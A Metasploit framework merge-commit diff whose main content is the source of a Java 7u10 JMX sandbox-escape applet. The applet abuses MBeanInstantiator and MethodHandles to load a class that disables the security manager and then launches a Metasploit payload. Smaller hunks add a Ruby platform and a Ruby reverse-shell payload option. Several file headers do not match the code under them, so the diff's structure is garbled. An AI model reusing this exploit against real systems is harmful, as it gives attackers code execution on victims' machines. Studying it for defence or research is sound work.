Merge branch 'rapid7' into kernelsmith-msfconsole-suspend

Author: egypt

.travis.yml

@@ -1,6 +1,6 @@
 language: ruby
 rvm:
-  - '1.8.7'
+  #- '1.8.7'
   - '1.9.3'
 
 notifications:

data/exploits/j7u10_jmx/B.class

@@ -0,0 +1,19 @@
+import java.security.AccessController;
+import java.security.PrivilegedExceptionAction;
+
+public class B
+  implements PrivilegedExceptionAction
+{
+  public B()
+  {
+    try
+    {
+      AccessController.doPrivileged(this); } catch (Exception e) {
+    }
+  }
+
+  public Object run() {
+    System.setSecurityManager(null);
+    return new Object();
+  }
+}

data/exploits/j7u10_jmx/Exploit.class

@@ -0,0 +1,73 @@
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.ObjectInputStream;
+import java.io.ObjectOutputStream;
+import metasploit.Payload;
+import java.lang.Runtime;
+import java.applet.Applet;
+import com.sun.jmx.mbeanserver.JmxMBeanServer;
+import com.sun.jmx.mbeanserver.JmxMBeanServerBuilder;
+import com.sun.jmx.mbeanserver.MBeanInstantiator;
+import java.lang.invoke.MethodHandle;
+import java.lang.invoke.MethodHandles;
+import java.lang.invoke.MethodType;
+import java.lang.reflect.Method;
+
+
+public class Exploit extends Applet
+{
+
+    public Exploit()
+    {
+    }
+    
+
+    public void init()
+    {
+        try
+        {
+            ByteArrayOutputStream bos = new ByteArrayOutputStream();
+            byte[] buffer = new byte[8192];
+            int length;
+
+            // read in the class file from the jar
+            InputStream is = getClass().getResourceAsStream("B.class");
+            // and write it out to the byte array stream
+            while( ( length = is.read( buffer ) ) > 0 )
+                bos.write( buffer, 0, length );
+            // convert it to a simple byte array
+            buffer = bos.toByteArray();
+
+            JmxMBeanServerBuilder localJmxMBeanServerBuilder = new JmxMBeanServerBuilder();
+            JmxMBeanServer localJmxMBeanServer = (JmxMBeanServer)localJmxMBeanServerBuilder.newMBeanServer("", null, null);
+            MBeanInstantiator localMBeanInstantiator = localJmxMBeanServer.getMBeanInstantiator();
+            ClassLoader a = null;
+            Class localClass1 = localMBeanInstantiator.findClass("sun.org.mozilla.javascript.internal.Context", a);
+            Class localClass2 = localMBeanInstantiator.findClass("sun.org.mozilla.javascript.internal.GeneratedClassLoader", a);
+            MethodHandles.Lookup localLookup = MethodHandles.publicLookup();
+            MethodType localMethodType1 = MethodType.methodType(MethodHandle.class, Class.class, new Class[] { MethodType.class });
+            MethodHandle localMethodHandle1 = localLookup.findVirtual(MethodHandles.Lookup.class, "findConstructor", localMethodType1);
+            MethodType localMethodType2 = MethodType.methodType(Void.TYPE);
+            MethodHandle localMethodHandle2 = (MethodHandle)localMethodHandle1.invokeWithArguments(new Object[] { localLookup, localClass1, localMethodType2 });
+            Object localObject1 = localMethodHandle2.invokeWithArguments(new Object[0]);
+            MethodType localMethodType3 = MethodType.methodType(MethodHandle.class, Class.class, new Class[] { String.class, MethodType.class });
+            MethodHandle localMethodHandle3 = localLookup.findVirtual(MethodHandles.Lookup.class, "findVirtual", localMethodType3);
+            MethodType localMethodType4 = MethodType.methodType(localClass2, ClassLoader.class);
+            MethodHandle localMethodHandle4 = (MethodHandle)localMethodHandle3.invokeWithArguments(new Object[] { localLookup, localClass1, "createClassLoader", localMethodType4 });
+            Object localObject2 = localMethodHandle4.invokeWithArguments(new Object[] { localObject1, null });
+            MethodType localMethodType5 = MethodType.methodType(Class.class, String.class, new Class[] { byte[].class });
+            MethodHandle localMethodHandle5 = (MethodHandle)localMethodHandle3.invokeWithArguments(new Object[] { localLookup, localClass2,"defineClass", localMethodType5 });
+            Class localClass3 = (Class)localMethodHandle5.invokeWithArguments(new Object[] { localObject2, null, buffer });
+            localClass3.newInstance();
+
+            Payload.main(null);
+            //Runtime.getRuntime().exec("calc.exe");
+        }
+        catch(Throwable ex)
+        {
+            //exception.printStackTrace();
+        }
+    }
+
+}

external/source/exploits/j7u10_jmx/B.java

@@ -0,0 +1,18 @@
+# rt.jar must be in the classpath!
+
+CLASSES = \
+	Exploit.java  \
+	B.java
+
+.SUFFIXES: .java .class
+.java.class:
+	javac -source 1.2 -target 1.2 -cp "../../../../data/java" $*.java
+
+all: $(CLASSES:.java=.class)
+
+install:
+	mv Exploit.class ../../../../data/exploits/j7u10_jmx/
+	mv B.class ../../../../data/exploits/j7u10_jmx/
+
+clean:
+	rm -rf *.class

external/source/exploits/j7u10_jmx/Exploit.java

@@ -291,7 +291,7 @@ def _request( url, opts = {} )
 		Response.from_rex_response c.send_recv( c.request_cgi( opts ), timeout )
 	rescue ::Timeout::Error
 		Response.timed_out
-	rescue ::Errno::EPIPE, Rex::ConnectionTimeout
+	rescue ::Errno::EPIPE, ::Errno::ECONNRESET, Rex::ConnectionTimeout
 		Response.empty
 	end
 

external/source/exploits/j7u10_jmx/Makefile

@@ -339,6 +339,14 @@ class Java < Msf::Module::Platform
 		Alias = "java"
 	end
 
+	#
+	# Ruby
+	#
+	class Ruby < Msf::Module::Platform
+		Rank = 100
+		Alias = "ruby"
+	end
+
 	#
 	# Linux
 	#

lib/msf/core/auxiliary/web/http.rb

@@ -249,6 +249,7 @@ def self.choose_payload(mod, target)
 			'java/meterpreter/reverse_tcp',
 			'php/meterpreter/reverse_tcp',
 			'php/meterpreter_reverse_tcp',
+			'ruby/shell_reverse_tcp',
 			'cmd/unix/interact',
 			'cmd/unix/reverse',
 			'cmd/unix/reverse_perl',
@@ -272,4 +273,3 @@ def self.choose_payload(mod, target)
 end
 
 end end end end
-

lib/msf/core/module/platform.rb

@@ -82,6 +82,7 @@
 ARCH_ARMLE  = 'armle'
 ARCH_ARMBE  = 'armbe'
 ARCH_JAVA   = 'java'
+ARCH_RUBY   = 'ruby'
 ARCH_TYPES  =
 	[
 		ARCH_X86,
@@ -99,7 +100,8 @@
 		ARCH_CMD,
 		ARCH_PHP,
 		ARCH_TTY,
-		ARCH_JAVA
+		ARCH_JAVA,
+		ARCH_RUBY
 	]
 
 ARCH_ALL = ARCH_TYPES